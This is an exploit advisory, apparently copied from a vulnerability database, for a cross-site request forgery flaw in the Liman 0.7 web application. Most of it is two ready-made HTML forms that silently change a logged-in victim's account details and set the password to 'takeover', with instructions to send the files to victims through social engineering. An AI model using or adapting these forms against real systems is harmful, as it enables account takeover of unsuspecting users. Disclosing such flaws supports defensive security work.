Liman 0.7 - Cross-Site Request Forgery (Change Password)

🗓️ 12 Oct 2020 00:00:00Reported by George TsimpidasType

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Liman 0.7 CSRF vulnerability allows attacker to change passwor

# Exploit Title: Liman 0.7 - Cross-Site Request Forgery (Change Password)
# Date: 2020-10-07
# Exploit Author: George Tsimpidas
# Software Link : https://github.com/salihciftci/liman/releases/tag/v0.7
# Version: 0.7
# Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
# Category: Webapp

Description:

There is no CSRF protection in Liman application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link, with the purpose of
manipulating his current account information, or changing entirely his
password.

Vulnerable Endpoints :

http://127.0.0.1:5000/settings/profile
http://127.0.0.1:5000/settings/password

Proof of Concept


Download the application, make an account and login inside the
panel under : http://127.0.0.1:5000 expose the docker port on 5000.


Save this .html files and send it to victim (Victim should be
logged in in the browser)

Crafted value will be added.

Account Information CSRF :

<html>
<body>

<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5000/settings/profile" method="POST">
<input type="hidden" name="username" value="betatest" />
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="TakeOver Account Settings" />

</body>
</html>


Password Change CSRF :

<html>
<body>

<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5000/settings/password" method="POST">
<input type="hidden" name="password" value="takeover" />
<input type="hidden" name="newPassword" value="takeover" />
<input type="hidden" name="confirmPassword" value="takeover" />
<input type="submit" value="Password TakeOver" />



</body>
</html>

12 Oct 2020 00:00Current

7.4High risk

Vulners AI Score7.4